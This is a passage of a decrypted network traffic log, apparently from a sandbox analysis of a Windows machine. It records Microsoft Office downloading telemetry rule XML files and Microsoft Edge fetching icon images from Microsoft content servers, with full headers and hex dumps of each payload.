2024-11-24 03:20:51 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:51 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:51 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032051Z-178bfbc474bv7whqhC1NYC1fg400000005fg000000001x9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:51 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:51 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:52 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6f884587-b01e-0001-3155-3c46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032052Z-15b8b599d88tr2flhC1TEB5gk400000003y000000000d75h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:52 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:51 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:52 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032052Z-178bfbc474bpnd5vhC1NYC4vr4000000059000000000h8dz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:52 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49891	23.209.72.31	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:51 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=022A54BEBDE36963130D41FFBC8168FF; _EDGE_S=F=1&SID=1C801C1AC56E684E22B4095BC4DA6977; _EDGE_V=1
2024-11-24 03:20:52 UTC	1002	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Sun, 24 Nov 2024 03:20:51 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.169,b=860096292,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.169 Akamai-Request-ID: 33440724 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.a904d217.1732418451.33440724 Vary: Origin
2024-11-24 03:20:52 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49912	13.107.246.40	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:52 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:52 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:52 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: f05f392f-b01e-0075-322a-3defbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032052Z-174c587ffdf89smkhC1TEB697s00000003xg00000000cxk5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:52 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49915	13.107.246.40	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:52 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:52 UTC	543	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:52 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: ff86f562-e01e-0022-40f6-3d0631000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032052Z-178bfbc474btrnf9hC1NYCb80g00000005kg000000006krv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:20:52 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49914	13.107.246.40	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:52 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:52 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:52 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 9c8cec2d-301e-006f-72d6-3dc0d3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032052Z-15b8b599d88vp97chC1TEB5pzw00000003t000000000g1u1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:52 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49917	13.107.246.40	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:52 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:53 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:53 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 42e5464d-901e-0069-451f-3e37ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032052Z-178bfbc474bv587zhC1NYCny5w00000005c00000000008tv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 03:20:53 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49916	13.107.246.40	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:52 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:52 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:52 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 262987a9-101e-003c-042a-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032052Z-174c587ffdfmrvb9hC1TEBtn3800000003z0000000000gbq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:52 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49913	13.107.246.40	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:52 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:53 UTC	516	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:53 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 095b4d90-501e-0019-541f-3e446f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T032052Z-178bfbc474b7cbwqhC1NYC8z4n000000058g00000000cnpp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 03:20:53 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
